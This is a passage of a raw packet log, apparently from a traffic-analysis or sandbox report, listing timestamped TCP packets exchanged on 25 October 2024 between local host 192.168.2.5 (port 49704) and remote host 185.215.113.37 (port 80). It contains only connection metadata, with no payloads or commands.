Oct 25, 2024 02:18:28.451467991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451476097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451492071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451498985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451499939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451508999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451525927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451545000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451550961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451550961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451570988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451571941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451587915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451590061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451602936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451618910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451631069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451631069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451633930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451648951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451648951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451668024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451680899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451680899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451682091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451699972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451704979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451704979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451729059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451750040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451765060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451778889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451822042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451842070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451858044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451873064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451894045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451900005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451913118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451927900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451931953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451947927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451963902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451967955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451967955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.451978922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.451994896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452007055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452007055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452022076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452023983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452040911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452055931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452070951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452085018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452088118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452088118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452100992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452112913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452116966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452135086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452140093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452156067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452171087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452189922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452189922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452193975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452212095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452227116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452243090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452244043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452244043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452258110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452260017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452281952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452306032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452306032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452306032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452325106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452328920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452344894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452358961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452369928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452369928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452373028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452390909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452394009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452405930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452408075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452421904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452435017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452444077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452444077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452450037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452462912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452475071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452496052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452500105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452500105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452511072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452528000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452543020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452544928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452544928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452558994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452574015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452574968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452589035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452603102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452605009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452617884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452631950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452641010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452641010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452647924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452657938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452657938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452672958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452687979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452696085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452713013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452728033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452732086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452744961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452758074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452759027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452759981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452800989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452848911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452862978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452876091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452878952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452893019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452903986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452903986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452918053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452928066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452931881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452946901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452960014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452960014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452965975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452980995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.452987909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452987909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.452996969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.453011990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.453018904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.453028917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.453042030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.453042030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.453043938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.453061104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.453072071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.453075886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.453090906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.453097105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.453125954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.453151941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567542076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567569017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567584991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567608118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567641020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567646980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567668915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567684889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567699909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567714930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567759037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567759037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567759037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567764044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567778111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567794085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567810059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567825079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567841053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567856073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567862034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567862034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567862034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567939043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567955017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567970991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.567984104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567985058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567985058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.567994118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568005085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568011045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568021059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568027020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568042994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568068981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568068981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568068981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568145037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568270922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568285942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568308115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568321943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568337917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568351984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568375111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568381071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568381071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568381071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568391085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568407059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568411112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568420887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568433046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568438053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568455935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568455935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568471909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568487883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568502903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568516016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568531036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568546057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568561077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568574905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568576097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568576097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568591118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568608999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568608999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568615913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568633080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568641901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568660021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568674088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568680048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568680048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568691015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568706036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568708897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568722010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568732023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568732023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568736076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568753004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568775892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568783998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568787098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568790913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568809032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568821907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568823099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568840981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568855047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568869114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568869114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568869114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568871021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568887949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568897963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568897963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568903923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568918943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568934917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568941116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568941116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568941116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568948030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568965912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568970919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568985939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.568994999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.568994999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569009066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569025993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569025993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569025993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569041967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569057941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569067001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569081068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569081068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569083929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569097996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569101095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569116116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569132090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569138050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569154978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569169998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569180012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569180012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569180012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569184065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569205046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569205046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569209099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569225073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569230080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569240093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569262028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569277048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569291115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569307089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569320917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569320917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569320917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569333076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569335938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569355965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569370985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569370985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569387913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569410086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569412947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569412947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569412947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569426060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569437981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569461107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569469929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569469929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569469929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569478035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569499016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569499016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569502115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569510937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569518089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569525003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569547892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569550037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569550991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569569111 CEST	80	49704	185.215.113.37	192.168.2.5
